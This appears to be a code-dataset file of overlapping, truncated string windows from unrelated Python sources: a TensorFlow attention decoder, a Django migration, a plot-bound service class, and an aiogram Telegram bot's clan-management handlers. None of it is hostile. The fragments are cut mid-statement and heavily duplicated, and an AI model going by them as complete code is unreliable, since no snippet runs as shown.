tf.get_variable(\"V_a\", shape=[hidden_size,1],initializer=tf.random_normal_initializer(stddev=0.1)) #[hidden_size,1] attention_logits=tf.matmul(attention_logits,V_a) #最终需要的是[batch_size*sentence_length,1]<-----[batch_size*sentence_length,hidden_size],[hidden_size,1] attention_logits=tf.reshape(attention_logits,shape=(-1,sequence_length)) #attention_logits:[batch_size,sequence_length] ########################################################################################################################################################## #attention_logits=tf.reduce_sum(attention_logits,2) #[batch_size x", "Used by decoder. :param embedding: embedding tensor for symbol :param output_projection: None or", "i, inp in enumerate(decoder_inputs):#循环解码部分的输入。如sentence_length个[batch_size x input_size] # 如果是训练,使用训练数据的输入;如果是test, 将t时刻的输出作为t + 1 时刻的s输入 if", "defining the cell function and size. loop_function: If not None, this function will", "#(?, 200) attention_states=tf.reshape(attention_states,shape=(-1,sequence_length,hidden_size)) # TODO [batch_size,sentence_length,hidden_size] #query_expanded: [batch_size,1, hidden_size] #attention_states_reshaped: [batch_size,sentence_length,hidden_size] attention_logits=tf.nn.tanh(query+attention_states+U_aa) #[batch_size,sentence_length,hidden_size].", "same. They are different for LSTM cells though.) \"\"\" with tf.variable_scope(scope or \"rnn_decoder\"):", "x cell.state_size] query=state W_a = tf.get_variable(\"W_a\", shape=[hidden_size, hidden_size],initializer=tf.random_normal_initializer(stddev=0.1)) query=tf.matmul(query, W_a) #[batch_size,hidden_size] query=tf.expand_dims(query,axis=1) #[batch_size,", "hidden_size],initializer=tf.random_normal_initializer(stddev=0.1)) U_aa = tf.get_variable(\"U_aa\", shape=[ hidden_size]) attention_states=tf.reshape(attention_states,shape=(-1,hidden_size)) #[batch_size*sentence_length,hidden_size] attention_states=tf.matmul(attention_states, U_a) #[batch_size*sentence_length,hidden_size] #print(\"batch_size\",batch_size,\" ;sequence_length:\",sequence_length,\"", "i+1-st input, and decoder_inputs will be ignored, except for the first element (\"GO\"", "multiplied by W and added B. :return: A loop function \"\"\" def loop_function(prev,", "and prev is not None:#测试的时候:如果loop_function不为空且前一个词的值不为空,那么使用前一个的值作为RNN的输入 with tf.variable_scope(\"loop_function\", reuse=True): inp = loop_function(prev, i) if" ]
[ "('users', '0024_auto_20200914_0433'), ] operations = [ migrations.AlterModelOptions( name='profile', options={'permissions': (('view_karma_points', 'Can view karma", "Migration(migrations.Migration): dependencies = [ ('users', '0024_auto_20200914_0433'), ] operations = [ migrations.AlterModelOptions( name='profile', options={'permissions':", "migrations.AlterModelOptions( name='profile', options={'permissions': (('view_karma_points', 'Can view karma points'), ('deactivate_users', 'Can deactivate users'))}, ),", "by Django 2.2.14 on 2020-09-26 06:38 from django.db import migrations class Migration(migrations.Migration): dependencies", "import migrations class Migration(migrations.Migration): dependencies = [ ('users', '0024_auto_20200914_0433'), ] operations = [", "django.db import migrations class Migration(migrations.Migration): dependencies = [ ('users', '0024_auto_20200914_0433'), ] operations =", "'0024_auto_20200914_0433'), ] operations = [ migrations.AlterModelOptions( name='profile', options={'permissions': (('view_karma_points', 'Can view karma points'),", "class Migration(migrations.Migration): dependencies = [ ('users', '0024_auto_20200914_0433'), ] operations = [ migrations.AlterModelOptions( name='profile',", "[ ('users', '0024_auto_20200914_0433'), ] operations = [ migrations.AlterModelOptions( name='profile', options={'permissions': (('view_karma_points', 'Can view", "name='profile', options={'permissions': (('view_karma_points', 'Can view karma points'), ('deactivate_users', 'Can deactivate users'))}, ), ]", "dependencies = [ ('users', '0024_auto_20200914_0433'), ] operations = [ migrations.AlterModelOptions( name='profile', options={'permissions': (('view_karma_points',", "= [ migrations.AlterModelOptions( name='profile', options={'permissions': (('view_karma_points', 'Can view karma points'), ('deactivate_users', 'Can deactivate", "# Generated by Django 2.2.14 on 2020-09-26 06:38 from django.db import migrations class", "] operations = [ migrations.AlterModelOptions( name='profile', options={'permissions': (('view_karma_points', 'Can view karma points'), ('deactivate_users',", "on 2020-09-26 06:38 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('users',", "operations = [ migrations.AlterModelOptions( name='profile', options={'permissions': (('view_karma_points', 'Can view karma points'), ('deactivate_users', 'Can", "migrations class Migration(migrations.Migration): dependencies = [ ('users', '0024_auto_20200914_0433'), ] operations = [ migrations.AlterModelOptions(", "Generated by Django 2.2.14 on 2020-09-26 06:38 from django.db import migrations class Migration(migrations.Migration):", "2020-09-26 06:38 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('users', '0024_auto_20200914_0433'),", "2.2.14 on 2020-09-26 06:38 from django.db import migrations class Migration(migrations.Migration): dependencies = [", "from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('users', '0024_auto_20200914_0433'), ] operations", "[ migrations.AlterModelOptions( name='profile', options={'permissions': (('view_karma_points', 'Can view karma points'), ('deactivate_users', 'Can deactivate users'))},", "06:38 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('users', '0024_auto_20200914_0433'), ]", "= [ ('users', '0024_auto_20200914_0433'), ] operations = [ migrations.AlterModelOptions( name='profile', options={'permissions': (('view_karma_points', 'Can", "Django 2.2.14 on 2020-09-26 06:38 from django.db import migrations class Migration(migrations.Migration): dependencies =" ]
[ "bottom_chunks = self.plot_bound_detector.get_plot_bound(image) top, bottom, ratio = PlotBoundCalculator.calculate_distance_ratio(top_chunks, bottom_chunks) return top, bottom, ratio", "def get_plot_bound_ratio(self, image): top_chunks, bottom_chunks = self.plot_bound_detector.get_plot_bound(image) top, bottom, ratio = PlotBoundCalculator.calculate_distance_ratio(top_chunks, bottom_chunks)", "top_chunks, bottom_chunks = self.plot_bound_detector.get_plot_bound(image) top, bottom, ratio = PlotBoundCalculator.calculate_distance_ratio(top_chunks, bottom_chunks) return top, bottom,", "get_plot_bound_ratio(self, image): top_chunks, bottom_chunks = self.plot_bound_detector.get_plot_bound(image) top, bottom, ratio = PlotBoundCalculator.calculate_distance_ratio(top_chunks, bottom_chunks) return", "image): top_chunks, bottom_chunks = self.plot_bound_detector.get_plot_bound(image) top, bottom, ratio = PlotBoundCalculator.calculate_distance_ratio(top_chunks, bottom_chunks) return top,", "PlotBoundCalculator class PlotBoundService: def __init__(self, plot_bound_detector): self.plot_bound_detector = plot_bound_detector def get_plot_bound_ratio(self, image): top_chunks,", "from mysite.plot_bound_detector.PlotBoundCalculator import PlotBoundCalculator class PlotBoundService: def __init__(self, plot_bound_detector): self.plot_bound_detector = plot_bound_detector def", "= plot_bound_detector def get_plot_bound_ratio(self, image): top_chunks, bottom_chunks = self.plot_bound_detector.get_plot_bound(image) top, bottom, ratio =", "PlotBoundService: def __init__(self, plot_bound_detector): self.plot_bound_detector = plot_bound_detector def get_plot_bound_ratio(self, image): top_chunks, bottom_chunks =", "def __init__(self, plot_bound_detector): self.plot_bound_detector = plot_bound_detector def get_plot_bound_ratio(self, image): top_chunks, bottom_chunks = self.plot_bound_detector.get_plot_bound(image)", "plot_bound_detector): self.plot_bound_detector = plot_bound_detector def get_plot_bound_ratio(self, image): top_chunks, bottom_chunks = self.plot_bound_detector.get_plot_bound(image) top, bottom,", "mysite.plot_bound_detector.PlotBoundCalculator import PlotBoundCalculator class PlotBoundService: def __init__(self, plot_bound_detector): self.plot_bound_detector = plot_bound_detector def get_plot_bound_ratio(self,", "__init__(self, plot_bound_detector): self.plot_bound_detector = plot_bound_detector def get_plot_bound_ratio(self, image): top_chunks, bottom_chunks = self.plot_bound_detector.get_plot_bound(image) top,", "self.plot_bound_detector = plot_bound_detector def get_plot_bound_ratio(self, image): top_chunks, bottom_chunks = self.plot_bound_detector.get_plot_bound(image) top, bottom, ratio", "plot_bound_detector def get_plot_bound_ratio(self, image): top_chunks, bottom_chunks = self.plot_bound_detector.get_plot_bound(image) top, bottom, ratio = PlotBoundCalculator.calculate_distance_ratio(top_chunks,", "class PlotBoundService: def __init__(self, plot_bound_detector): self.plot_bound_detector = plot_bound_detector def get_plot_bound_ratio(self, image): top_chunks, bottom_chunks", "import PlotBoundCalculator class PlotBoundService: def __init__(self, plot_bound_detector): self.plot_bound_detector = plot_bound_detector def get_plot_bound_ratio(self, image):", "<gh_stars>0 from mysite.plot_bound_detector.PlotBoundCalculator import PlotBoundCalculator class PlotBoundService: def __init__(self, plot_bound_detector): self.plot_bound_detector = plot_bound_detector" ]
[ "from csepy.csepy import Start if len(sys.argv) > 1: Start(sysargs=sys.argv) elif __name__ == '__main__':", "#!/usr/bin/python3 import sys from csepy.csepy import Start if len(sys.argv) > 1: Start(sysargs=sys.argv) elif", "import sys from csepy.csepy import Start if len(sys.argv) > 1: Start(sysargs=sys.argv) elif __name__", "csepy.csepy import Start if len(sys.argv) > 1: Start(sysargs=sys.argv) elif __name__ == '__main__': Start()", "sys from csepy.csepy import Start if len(sys.argv) > 1: Start(sysargs=sys.argv) elif __name__ ==", "<filename>main.py<gh_stars>1-10 #!/usr/bin/python3 import sys from csepy.csepy import Start if len(sys.argv) > 1: Start(sysargs=sys.argv)" ]
[ "разработке...\") await callback.answer() session.close() @dp.callback_query_handler(regexp=ClanRegexp.invitation_page) async def clan_invitation_pages_handler(callback: types.CallbackQuery, state: FSMContext): data =", "= kb_constructor.PaginationKeyboard( user_id=user_id).create_invitation_keyboard() msg_text = read_txt_file(\"text/clan/clan_invitations\") await clan_msg.edit_text( text=msg_text, reply_markup=keyboard ) await callback.answer()", "sqlalchemy import desc, and_ from utils.classes.regexps import ClanRegexp @dp.message_handler(state=\"*\", commands=\"clan\") async def clan_command_handler(message:", "msg_text = read_txt_file(\"text/hints/foreign_button\") return await callback.answer(msg_text) invitation = re.findall(r\"open_invitation_(\\d+)\", callback.data) accept_invitation = re.findall(r\"accept_invitation_(\\d+)\",", "= \"Рекрут\" new_clan_member = tables.ClanMember( clan_id=clan_invitation_table.clan_id, user_id=user_id, rank=rank, contest_score=0, clan_units=0, units_donate=0, donate_timer=0 )", "read_txt_file(\"text/hints/foreign_button\") return await callback.answer(msg_text) session = db_api.CreateSession() townhall: tables.TownHall = session.db.query( tables.TownHall).filter_by(user_id=user_id).first() clan_member:", "clan_member.rank), reply_markup=keyboard ) await state.reset_state(with_data=True) await state.set_data({ \"user_id\": user_id, \"clan_msg\": clan_msg }) session.close()", "state.update_data({ \"set_emoji_msg\": set_emoji_msg }) await states.Clan.set_emoji.set() @dp.callback_query_handler(state=states.Clan.set_emoji) async def set_clan_emoji(callback: types.CallbackQuery, state: FSMContext):", "callback.from_user.id clan_msg: types.Message = data.get(\"clan_msg\") clan_members_msg: types.Message = data.get(\"clan_members_msg\") if data.get(\"user_id\") != user_id:", "\"Старейшина\" elif checked_clan_member.rank == \"Старейшина\": checked_clan_member.rank = \"Заместитель\" session.db.commit() keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_members_keyboard()", "clan_table[:10]: text += \"{}. <b>{}</b> [ <code>{}</code> ⭐ ]\\n\".format(clan_num, clan.name, clan.rating) clan_num +=", "FSMContext): user_id = message.from_user.id session = db_api.CreateSession() clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).join(tables.Clan).first() buildings:", ") await state.update_data({ \"user_id\": user_id, \"clan_msg\": clan_msg }) session.close() return clan_members: typing.List[tables.ClanMember] =", "elif callback.data == \"clan_settings\": await callback.answer(\"В разработке...\") await callback.answer() session.close() @dp.callback_query_handler(regexp=ClanRegexp.invitation_page) async def", "user_id=user_id, clan_units=0, rank=\"Лидер\" ) session.db.add(new_clan_member) session.db.commit() clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).first() clan_members: typing.List[tables.ClanMember]", "clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_cancel_contest ) elif clan_member.clan.state == \"contest\": msg_text = read_txt_file(\"text/clan/contest\") await clan_msg.edit_text(", "read_txt_file(\"text/clan/rating\") await clan_msg.edit_text( text=msg_text.format(text), reply_markup=keyboards.clan.kb_back ) elif callback.data == \"clan_invitation\": keyboard = kb_constructor.PaginationKeyboard(", "== \"clans_rating\": clan_table: typing.List[tables.Clan] = session.db.query( tables.Clan).order_by(desc(tables.Clan.rating)).all() text = \"\" clan_num = 1", "= session.db.query( tables.ClanMember).filter_by(user_id=user_id).join(tables.Clan).first() clan_members: typing.List[tables.ClanMember] = session.db.query( tables.ClanMember).filter_by(clan_id=clan_member.clan_id).all() clans_search: typing.List[tables.Clan] = session.db.query( tables.Clan).filter(and_(", "tables.Clan = clan_member.clan clan_2: tables.Clan = random.choice(clans_search) clan_1.state = \"contest\" clan_2.state = \"contest\"", "clan_member.clan.state == \"ending\": msg_text = read_txt_file(\"text/clan/ending_contest\") await clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_back ) else: msg_text", "def clan_contest_handler(callback: types.CallbackQuery, state: FSMContext): data = await state.get_data() user_id = callback.from_user.id clan_msg:", "= session.db.query( tables.ClanMember).filter_by(user_id=user_id).join(tables.Clan).first() if callback.data == \"start_search_contest\": msg_text = read_txt_file(\"text/clan/search_contest\") await clan_msg.edit_text( text=msg_text,", "= 1 for clan in clan_table[:10]: text += \"{}. <b>{}</b> [ <code>{}</code> ⭐", "if clans_search: clan_1: tables.Clan = clan_member.clan clan_2: tables.Clan = random.choice(clans_search) clan_1.state = \"contest\"", "\"message_id\": clan_msg.message_id }) await states.Clan.set_description.set() @dp.message_handler(filters.IsReplyFilter(True), state=states.Clan.set_description) async def set_clan_description(message: types.Message, state: FSMContext):", "session.db.query( tables.ClanMember).filter_by(clan_id=clan_member.clan_id).all() clans_search: typing.List[tables.Clan] = session.db.query( tables.Clan).filter(and_( tables.Clan.state == \"search\", tables.Clan.clan_id != clan_member.clan_id)).all()", "invited_clan_member_table: tables.ClanMember = session.filter_by_user_id( user_id=replied_user.id, table=tables.ClanMember ) invited_user_table: tables.User = session.filter_by_user_id( user_id=replied_user.id, table=tables.User)", "началась.\"], log=[\"Война началась.\"], state_timer=None, territory_names=[\"Russia\", \"Germany\"], territory_owners=[None, None], territory_units=[0, 0], territory_captures=[None, None], clans_rating=[0,", "clan_msg.edit_text( text=msg_text, reply_markup=keyboard ) await callback.answer() session.close() @dp.callback_query_handler(regexp=ClanRegexp.get_clan_units) async def clan_getting_units_handler(callback: types.CallbackQuery, state:", "= int(invitation[0]) clan_invitation_table: tables.ClanInvitation = session.db.query( tables.ClanInvitation).filter_by(id=invitation_id).join(tables.Clan).first() keyboard = kb_constructor.StandardKeyboard( user_id=user_id).create_invitation_keyboard(invitation_id=invitation_id) await clan_msg.edit_text(", "session.db.add(new_contest) msg_text = read_txt_file(\"text/clan/contest\") await clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_back ) session.close() return msg_text =", "await clan_msg.edit_text( text=msg_text.format(text), reply_markup=keyboards.clan.kb_back ) elif callback.data == \"clan_invitation\": keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_invitation_keyboard()", "session.close() @dp.callback_query_handler(regexp=ClanRegexp.invitation_page) async def clan_invitation_pages_handler(callback: types.CallbackQuery, state: FSMContext): data = await state.get_data() user_id", "await state.reset_state(with_data=True) await state.set_data({ \"user_id\": user_id, \"clan_msg\": clan_msg }) session.close() @dp.message_handler(filters.IsReplyFilter(True), regexp=ClanRegexp.invite, state=\"*\")", "dp from aiogram import types from aiogram.dispatcher import filters from aiogram import exceptions", ") await state.update_data({ \"clan_name\": clan_name, \"message_id\": clan_msg.message_id }) await states.Clan.set_description.set() @dp.message_handler(filters.IsReplyFilter(True), state=states.Clan.set_description) async", "clan_msg = await message.answer( text=msg_text, reply_markup=keyboards.clan.kb_none_clan ) await state.update_data({ \"user_id\": user_id, \"clan_msg\": clan_msg", "user_id = message.from_user.id session = db_api.CreateSession() clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).join(tables.Clan).first() buildings: tables.Buildings", "db_api.CreateSession() if callback.data in emojis: set_emoji_msg: types.Message = data.get(\"set_emoji_msg\") await set_emoji_msg.delete() clan_name =", "\"Участников: \\n\" \"Осталось: \".format(clan_invitation_table.clan.name), reply_markup=keyboard ) elif accept_invitation: invitation_id = int(accept_invitation[0]) clan_invitation_table: tables.ClanInvitation", "user_id=user_id).create_invitation_keyboard(invitation_id=invitation_id) await clan_msg.edit_text( text=\"{}\\n\\n\" \"Рейтинг: \\n\" \"Лидер: \\n\" \"Участников: \\n\" \"Осталось: \".format(clan_invitation_table.clan.name), reply_markup=keyboard", "clan.description[:21], clan.rating, len(clan_members), clan_creator.first_name, clan_member.rank), reply_markup=keyboard ) await state.reset_state(with_data=True) await state.set_data({ \"user_id\": user_id,", "from aiogram import exceptions from aiogram.dispatcher import FSMContext from utils.misc.read_file import read_txt_file from", "colors=[\"blue\", \"red\"] ) session.db.add(new_contest) msg_text = read_txt_file(\"text/clan/contest\") await clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_back ) session.close()", "state.update_data({ \"clan_name\": clan_name, \"message_id\": clan_msg.message_id }) await states.Clan.set_description.set() @dp.message_handler(filters.IsReplyFilter(True), state=states.Clan.set_description) async def set_clan_description(message:", "if callback.data in emojis: set_emoji_msg: types.Message = data.get(\"set_emoji_msg\") await set_emoji_msg.delete() clan_name = data.get(\"clan_name\")", "await callback.answer(msg_text) page_move = re.findall(r\"invitation_page_(\\d+)\", callback.data)[0] page = int(page_move) keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_invitation_keyboard(page)", "callback.answer(msg_text) session = db_api.CreateSession() clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).join(tables.Clan).first() clan_members: typing.List[tables.ClanMember] = session.db.query(", "clan_member.rank in (\"Заместитель\", \"Лидер\"): if checked_clan_member.rank == \"Рекрут\": checked_clan_member.rank = \"Старейшина\" elif checked_clan_member.rank", "\"contest\": msg_text = read_txt_file(\"text/clan/contest\") await clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_back ) elif clan_member.clan.state == \"ending\":", "async def none_clan_handler(callback: types.CallbackQuery, state: FSMContext): data = await state.get_data() user_id = callback.from_user.id", "clan_description = data.get(\"clan_description\") clan_emoji = callback.data new_clan = tables.Clan( name=clan_name, description=clan_description, emoji=clan_emoji, rating=0,", "if clan_member_id: member_id = int(clan_member_id[0]) checked_clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(id=member_id).join(tables.User).first() keyboard = kb_constructor.StandardKeyboard(", "доступно позже.\") session.close() return msg_text = read_txt_file(\"text/clan/get_clan_units\") keyboard = kb_constructor.StandardKeyboard( user_id=user_id).create_get_clan_units_keyboard() sticker =", "@dp.callback_query_handler(regexp=ClanRegexp.invitation_page) async def clan_invitation_pages_handler(callback: types.CallbackQuery, state: FSMContext): data = await state.get_data() user_id =", "session.close() @dp.callback_query_handler(regexp=ClanRegexp.get_clan_units) async def clan_getting_units_handler(callback: types.CallbackQuery, state: FSMContext): data = await state.get_data() user_id", "kb_constructor.StandardKeyboard( user_id=user_id).create_get_clan_units_keyboard() sticker = read_txt_file(\"sticker/get_clan_units\") await callback.message.answer_sticker(sticker=sticker) await callback.message.answer( text=msg_text.format(townhall.country_name, callback.from_user.get_mention()), reply_markup=keyboard )", "data.get(\"clan_msg\") clan_members_msg: types.Message = data.get(\"clan_members_msg\") if data.get(\"user_id\") != user_id: msg_text = read_txt_file(\"text/hints/foreign_button\") return", "clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_search_contest ) elif callback.data == \"clan_members\": keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_members_keyboard() msg_text", "types.Message, state: FSMContext): data = await state.get_data() user_id = message.from_user.id if message.reply_to_message.message_id ==", "= read_txt_file(\"text/clan/search_contest\") await clan_msg.edit_text( text=msg_text, reply_markup=keyboards.clan.kb_cancel_contest ) clan_member.clan.state = \"search\" elif callback.data ==", "is None: msg_text = read_txt_file(\"text/clan/without_clan\") clan_msg = await message.answer( text=msg_text, reply_markup=keyboards.clan.kb_none_clan ) await", "clan_member.clan.description[:21], len(clan_members), ), reply_markup=keyboard ) await state.update_data({ \"clan_members_msg\": clan_members_msg }) elif callback.data ==", "if clan_member.rank in (\"Заместитель\", \"Лидер\"): if checked_clan_member.rank != \"Лидер\" and clan_member.rank != checked_clan_member.rank:", "state: FSMContext): data = await state.get_data() if message.reply_to_message.message_id == data.get(\"message_id\"): clan_name = message.text[:16]", "read_txt_file(\"text/clan/clan_invitations\") clan_invitation_msg = await clan_msg.edit_text( text=msg_text, reply_markup=keyboard ) await state.update_data({ \"clan_invitation_msg\": clan_invitation_msg })", "session.db.commit() await callback.answer(\"Вы вступили в клан!\") keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_invitation_keyboard() msg_text = read_txt_file(\"text/clan/clan_invitations\")", "types.CallbackQuery, state: FSMContext): data = await state.get_data() user_id = callback.from_user.id if data.get(\"user_id\") !=", "callback.data) raise_member = re.findall(r\"raise_clan_member_(\\d+)\", callback.data) kick_member = re.findall(r\"kick_clan_member_(\\d+)\", callback.data) if clan_member_id: member_id =", "re import random from loader import dp from aiogram import types from aiogram.dispatcher", ") clan_member.clan.state = \"search\" elif callback.data == \"cancel_search_contest\": msg_text = read_txt_file(\"text/clan/none_contest\") await clan_msg.edit_text(", "data.get(\"clan_msg\") if data.get(\"user_id\") != user_id: msg_text = read_txt_file(\"text/hints/foreign_button\") return await callback.answer(msg_text) page_move =", "keyboard = kb_constructor.StandardKeyboard(user_id=user_id).create_clan_keyboard() msg_text = read_txt_file(\"text/clan/in_clan\") clan_msg = await message.answer( text=msg_text.format( clan_member.clan.emoji, clan_member.clan.name,", "session = db_api.CreateSession() clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).first() clan_member_id = re.findall(r\"check_clan_member_(\\d+)\", callback.data) raise_member", "re.findall(r\"open_invitation_(\\d+)\", callback.data) accept_invitation = re.findall(r\"accept_invitation_(\\d+)\", callback.data) cancel_invitation = re.findall(r\"cancel_invitation_(\\d+)\", callback.data) session = db_api.CreateSession()", "user_id=user_id).create_members_keyboard() await clan_msg.edit_text( text=clan_members_msg.html_text, reply_markup=keyboard ) elif kick_member: member_id = int(kick_member[0]) checked_clan_member: tables.ClanMember", "import kb_constructor, timer from sqlalchemy import desc, and_ from utils.classes.regexps import ClanRegexp @dp.message_handler(state=\"*\",", "= session.db.query( tables.ClanMember).filter_by(clan_id=clan_member.clan_id).all() clan_creator: tables.User = session.db.query( tables.User).filter_by(user_id=clan_member.clan.creator).first() keyboard = kb_constructor.StandardKeyboard( user_id=user_id).create_clan_keyboard() msg_text", "= db_api.CreateSession() townhall: tables.TownHall = session.db.query( tables.TownHall).filter_by(user_id=user_id).first() if callback.data == \"create_clan\": if townhall.money", "\"message_id\": clan_msg.message_id }) await states.Clan.set_name.set() elif callback.data == \"clans_rating\": clan_table: typing.List[tables.Clan] = session.db.query(", "if callback.data == \"get_clan_units\": if clan_member.donate_timer != 0: await callback.answer(\"Станет доступно позже.\") session.close()", "await states.Clan.set_name.set() elif callback.data == \"clans_rating\": clan_table: typing.List[tables.Clan] = session.db.query( tables.Clan).order_by(desc(tables.Clan.rating)).all() text =", "session.close() @dp.callback_query_handler(regexp=ClanRegexp.contest) async def clan_contest_handler(callback: types.CallbackQuery, state: FSMContext): data = await state.get_data() user_id", "None: return if clan_member_table.rank in (\"Лидер\", \"Заместитель\", \"Старейшина\"): invited_clan_member_table: tables.ClanMember = session.filter_by_user_id( user_id=replied_user.id,", "это сообщение.</i>\" ) await state.update_data({ \"clan_name\": clan_name, \"message_id\": clan_msg.message_id }) await states.Clan.set_description.set() @dp.message_handler(filters.IsReplyFilter(True),", "and_ from utils.classes.regexps import ClanRegexp @dp.message_handler(state=\"*\", commands=\"clan\") async def clan_command_handler(message: types.Message, state: FSMContext):", "replied_user.is_bot): time_set = timer.Timer.set_timer(86400) new_invitation = tables.ClanInvitation( user_id=replied_user.id, clan_id=clan_member_table.clan_id, timer=time_set ) session.db.add(new_invitation) session.close()", "), reply_markup=keyboard ) await state.update_data({ \"clan_members_msg\": clan_members_msg }) elif callback.data == \"clan_settings\": await", "callback.data == \"leave_clan\": await clan_msg.edit_text( text=\"Вы уверены,\\n что хотите покинуть клан?\", reply_markup=keyboards.clan.kb_leave_clan )", "tables.ClanMember).filter_by(id=member_id).first() if clan_member.rank in (\"Заместитель\", \"Лидер\"): if checked_clan_member.rank != \"Лидер\" and clan_member.rank !=", "int(kick_member[0]) checked_clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(id=member_id).first() if clan_member.rank in (\"Заместитель\", \"Лидер\"): if checked_clan_member.rank", "msg_text = read_txt_file(\"text/clan/search_contest\") await clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_cancel_contest ) elif clan_member.clan.state == \"contest\": msg_text", "= kb_constructor.StandardKeyboard( user_id=user_id).create_emoji_clan_keyboard() set_emoji_msg = await message.answer( text=\"Выберите <b>логотип</b> вашего клана.\", reply_markup=keyboard )", "for clan in clan_table[:10]: text += \"{}. <b>{}</b> [ <code>{}</code> ⭐ ]\\n\".format(clan_num, clan.name,", "== \"create_clan\": if townhall.money >= 5000: townhall.money -= 5000 else: await callback.answer( \"Для", "reply_markup=keyboards.clan.kb_cancel_contest ) elif clan_member.clan.state == \"contest\": msg_text = read_txt_file(\"text/clan/contest\") await clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_back", "state: FSMContext): data = await state.get_data() user_id = callback.from_user.id clan_msg: types.Message = data.get(\"clan_msg\")", "state_timer=None, territory_names=[\"Russia\", \"Germany\"], territory_owners=[None, None], territory_units=[0, 0], territory_captures=[None, None], clans_rating=[0, 0], colors=[\"blue\", \"red\"]", "(\"Заместитель\", \"Лидер\"): if checked_clan_member.rank == \"Рекрут\": checked_clan_member.rank = \"Старейшина\" elif checked_clan_member.rank == \"Старейшина\":", ") elif accept_invitation: invitation_id = int(accept_invitation[0]) clan_invitation_table: tables.ClanInvitation = session.db.query( tables.ClanInvitation).filter_by(id=invitation_id).join(tables.Clan).first() if clan_invitation_table.clan.creator", "\"Лидер\" else: rank = \"Рекрут\" new_clan_member = tables.ClanMember( clan_id=clan_invitation_table.clan_id, user_id=user_id, rank=rank, contest_score=0, clan_units=0,", ") session.db.add(new_clan_member) session.db.query(tables.ClanInvitation).filter_by( id=invitation_id).delete() session.db.commit() await callback.answer(\"Вы вступили в клан!\") keyboard = kb_constructor.PaginationKeyboard(", "user_id=user_id, table=tables.ClanMember ) if clan_member_table is None: return if clan_member_table.rank in (\"Лидер\", \"Заместитель\",", "text=clan_msg.html_text, reply_markup=clan_msg.reply_markup, ) await callback.answer() @dp.callback_query_handler(regexp=ClanRegexp.without_clan) async def none_clan_handler(callback: types.CallbackQuery, state: FSMContext): data", "clans_search: clan_1: tables.Clan = clan_member.clan clan_2: tables.Clan = random.choice(clans_search) clan_1.state = \"contest\" clan_2.state", "= session.db.query( tables.ClanMember).filter_by(id=member_id).join(tables.User).first() keyboard = kb_constructor.StandardKeyboard( user_id=user_id).create_member_keyboard(member_id, clan_member) msg_text = read_txt_file(\"text/clan/member\") await clan_msg.edit_text(", "clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).join(tables.Clan).first() if callback.data == \"start_search_contest\": msg_text = read_txt_file(\"text/clan/search_contest\") await", "if callback.data == \"create_clan\": if townhall.money >= 5000: townhall.money -= 5000 else: await", "клана.\", reply_markup=keyboard ) await state.update_data({ \"set_emoji_msg\": set_emoji_msg }) await states.Clan.set_emoji.set() @dp.callback_query_handler(state=states.Clan.set_emoji) async def", "= read_txt_file(\"text/hints/foreign_button\") return await callback.answer(msg_text) session = db_api.CreateSession() townhall: tables.TownHall = session.db.query( tables.TownHall).filter_by(user_id=user_id).first()", "\"\" clan_num = 1 for clan in clan_table[:10]: text += \"{}. <b>{}</b> [", "clan_member.clan.name, clan_member.clan.description[:21], clan_member.clan.rating, len(clan_members), clan_creator.first_name, clan_member.rank), reply_markup=keyboard ) await state.update_data({ \"user_id\": user_id, \"clan_msg\":", "kb_constructor.StandardKeyboard( user_id=user_id).create_member_keyboard(member_id, clan_member) msg_text = read_txt_file(\"text/clan/member\") await clan_msg.edit_text( text=msg_text.format( checked_clan_member.user.first_name, checked_clan_member.contest_score, checked_clan_member.rank, ),", "21 символ)\\n\" \"<i>Ответив на это сообщение.</i>\" ) await state.update_data({ \"clan_name\": clan_name, \"message_id\": clan_msg.message_id", "clan_invitation_pages_handler(callback: types.CallbackQuery, state: FSMContext): data = await state.get_data() user_id = callback.from_user.id clan_msg: types.Message", "import random from loader import dp from aiogram import types from aiogram.dispatcher import", "callback.answer() session.close() @dp.callback_query_handler(regexp=ClanRegexp.menu) async def clan_menu_handler(callback: types.CallbackQuery, state: FSMContext): data = await state.get_data()", "\"Заместитель\", \"Старейшина\"): invited_clan_member_table: tables.ClanMember = session.filter_by_user_id( user_id=replied_user.id, table=tables.ClanMember ) invited_user_table: tables.User = session.filter_by_user_id(", "clan: tables.Clan = session.db.query( tables.Clan).filter_by(creator=user_id).first() if clan is not None: new_clan_member = tables.ClanMember(", "<gh_stars>0 import typing import keyboards import states import re import random from loader", "clan_member.clan.name, clan_member.clan.description[:21], len(clan_members), ), reply_markup=keyboard ) await state.update_data({ \"clan_members_msg\": clan_members_msg }) elif callback.data", "session = db_api.CreateSession() townhall: tables.TownHall = session.db.query( tables.TownHall).filter_by(user_id=user_id).first() if callback.data == \"create_clan\": if", "\"clan_war\": if clan_member.clan.state == \"search\": if clans_search: clan_1: tables.Clan = clan_member.clan clan_2: tables.Clan", 